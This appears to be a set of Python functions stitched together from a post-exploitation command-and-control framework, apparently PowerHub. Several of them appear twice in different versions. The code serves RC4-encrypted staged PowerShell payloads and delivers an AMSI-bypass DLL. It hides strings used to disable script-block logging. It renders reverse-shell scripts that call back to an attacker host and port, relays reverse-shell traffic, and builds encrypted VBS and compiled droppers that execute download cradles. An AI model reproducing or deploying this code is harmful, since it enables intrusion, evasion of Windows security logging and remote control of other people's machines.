def read_shell_packet(self, s): """Deserialize byte string and instantiate ShellPacket""" header = s.recv(4, socket.MSG_PEEK) if not header: return None if s == self.rsock: header = encrypt(header, self.key) packet_length = struct.unpack('<i', header)[0] body = b'' while len(body) < packet_length: body += s.recv(packet_length - len(body)) if s == self.rsock: body = encrypt(body, self.key) p = ShellPacket(body) if p['msg_type'] == "PONG": log.debug("%s - Pong" % (self.details["id"])) elif p['msg_type'] == "KILL" and p['data'] == "confirm": log.info("%s - Shell has died" % (self.details["id"])) self.active = False self.unset_lsock() return p self.append_to_log(p) if s == self.rsock: sender = "reverse shell" self.t_sign_of_life = dt.now() if self.lsock: self.deliver(p, self.lsock) else: sender = "local shell" self.deliver(p, self.rsock) host, port = s.getpeername() log.debug("%s - %s - From %s: %s" % (host, self.details["id"] if "id" in self.details else "?", sender, p)) return p
def payload_m(): """Load a single module""" if 'm' not in request.args: return Response('error') n = int(request.args.get('m')) if n < len(modules): modules[n].activate() if 'c' in request.args: resp = b64encode(encrypt(compress(modules[n].code), key)), else: resp = b64encode(encrypt(modules[n].code, key)), return Response(resp, content_type='text/plain; charset=utf-8') else: return Response("not found")
def payload_0(): """Load 0th stage""" encrypted_strings = [ "Bypass.AMSI", "System.Management.Automation.Utils", "cachedGroupPolicySettings", "NonPublic,Static", "HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", # noqa "EnableScriptBlockLogging", ] encrypted_strings = [b64encode(encrypt(x.encode(), key)).decode() for x in encrypted_strings] context = { "modules": modules, "callback_url": callback_url, "key": key, "strings": encrypted_strings, "symbol_name": symbol_name, "stage2": 'r' if 'r' in request.args else '1', } result = render_template( "amsi.ps1", **context, content_type='text/plain' ) return result
def compile_source(args, source_file, compile_cmd, formatter): filename = create_filename(args) args = dict(args) # convert from immutable dict args['Launcher'] = 'cmd_enc' cmd = build_cradle(args) size = len(cmd) key = generate_random_key(16) cmd = encrypt(cmd.encode(), key) c_code = load_template( source_file, CMD=formatter(cmd), LEN_CMD=size, KEY=key, ) with tempfile.TemporaryDirectory() as tmpdirname: outfile = os.path.join(tmpdirname, 'powerhub.out') infile = os.path.join(tmpdirname, 'powerhub.in') with open(infile, 'w') as f: f.write(c_code) pipe = subprocess.Popen( compile_cmd(outfile) + [infile], stdin=subprocess.PIPE, stdout=subprocess.PIPE, ) out = pipe.communicate() if pipe.returncode == 0: with open(outfile, 'rb') as f: result = f.read() else: raise RuntimeError('Compiling the payload failed, ' 'see console output') log.error('Compiling the payload failed: ' + out) return filename, result
def write_shell_packet(self, p, s): """Convert a ShellPacket to a byte string and send it across the wire""" data = p.serialize() if s == self.rsock: data = encrypt(data, self.key) s.send(data) p.set_delivered()
def payload_l(): """Load the AMSI Bypass DLL""" # https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html # noqa filename = os.path.join(BASE_DIR, 'binary', 'amsi.dll') with open(filename, 'rb') as f: DLL = f.read() DLL = b64encode(encrypt(b64encode(DLL), key)) return Response(DLL, content_type='text/plain; charset=utf-8')
def payload_0(): """Load 0th stage""" method_name = b64encode(encrypt("Bypass.AMSI".encode(), key)).decode() context = { "modules": modules, "callback_url": callback_url, "key": key, "method_name": method_name, } result = render_template("amsi.ps1", **context, content_type='text/plain') return result
def hub_modules(): """Return list of hub modules""" global modules modules = import_modules() context = { "modules": modules, } result = render_template( "powershell/modules.ps1", **context, ).encode() result = b64encode(encrypt((result), KEY)) return Response(result, content_type='text/plain; charset=utf-8')
def payload_1(): """Load 1st stage""" context = { "modules": modules, "webdav_url": webdav_url, "symbol_name": symbol_name, } result = render_template( "payload.ps1", **context, ).encode() result = b64encode(encrypt(result, key)) return Response(result, content_type='text/plain; charset=utf-8')
def payload_1(): """Load 1st stage""" context = { "modules": modules, "callback_url": callback_url, "key": key, } result = render_template( "payload.ps1", **context, ).encode() result = b64encode(encrypt(result, key)) return Response(result, content_type='text/plain; charset=utf-8')
def get_shell_hello(self): r, _, _ = select.select([self.rsock], [], []) firstbytes = r[0].recv(8, socket.MSG_PEEK) firstbytes = encrypt(firstbytes, self.key) if firstbytes == self.SHELL_HELLO: log.debug("Shell hello received") r[0].recv(8) p = self.read_shell_packet(self.rsock) self.shell_type = 'smart' self.details.update(p["data"]) return p else: log.debug("No shell hello found") return False
def reverse_shell(): """Spawn a reverse shell""" context = { "dl_cradle": stager_str().replace('$K', '$R'), "IP": args.URI_HOST, "delay": 10, # delay in seconds "lifetime": 3, # lifetime in days "PORT": str(args.REC_PORT), } result = render_template( "reverse-shell.ps1", **context, ).encode() result = b64encode(encrypt(result, key)) return Response(result, content_type='text/plain; charset=utf-8')
def create_vbs(args): filename = create_filename(args) args = dict(args) # convert from immutable dict args['Launcher'] = 'cmd_enc' cmd = build_cradle(args).replace('\n', '') cmd = ('CreateObject("WScript.Shell").' + 'exec("%s")') % cmd key = generate_random_key(16) cmd = encrypt(cmd.encode(), key) vbs_code = load_template( 'powerhub.vbs', HEX_CODE=' '.join('%02X' % c for c in cmd), HEX_KEY=' '.join('%02X' % ord(c) for c in key), symbol_name=symbol_name, ) return filename, vbs_code
def payload_r(): """Load next stage of the Reverse Shell""" context = { "IP": args.URI_HOST, "delay": 10, # delay in seconds "lifetime": 3, # lifetime in days "PORT": str(args.REC_PORT), "key": KEY, "callback_url": callback_urls[request.args['t']], "transport": request.args["t"], "symbol_name": symbol_name, } result = render_template( "powershell/reverse-shell.ps1", **context, ).encode() result = b64encode(encrypt(result, KEY)) return Response(result, content_type='text/plain; charset=utf-8')
def save_file(file, dir=UPLOAD_DIR, encrypted=False): """Save a file to the upload directory and return the filename If it already exists, append a counter. """ filename = os.path.join(dir, os.path.basename(file.filename)) if os.path.exists(filename): count = 1 while os.path.isfile("%s.%d" % (filename, count)): count += 1 filename += ".%d" % count if encrypted: data = file.read() data = encrypt(data, KEY) with open(filename, 'bw') as f: f.write(data) else: file.save(filename) return filename
def payload_h(): """Load next stage of the Hub""" try: with open(os.path.join(XDG_DATA_HOME, "profile.ps1"), "r") as f: profile = f.read() except Exception: profile = "" context = { "modules": modules, "webdav_url": webdav_url, "symbol_name": symbol_name, "profile": profile, "transport": request.args['t'], } result = render_template( "powershell/powerhub.ps1", **context, ).encode() result = b64encode(encrypt(result, KEY)) return Response(result, content_type='text/plain; charset=utf-8')
def rc4encrypt(msg): """This is a function for encrypting strings in jinja2 templates""" return b64encode(encrypt(msg.encode(), KEY)).decode()
def rc4byteencrypt(data): """This is a function for encrypting bytes in jinja2 templates data must be hexascii encoded. """ return b64encode(encrypt(b64encode(unhexlify(data)), KEY)).decode()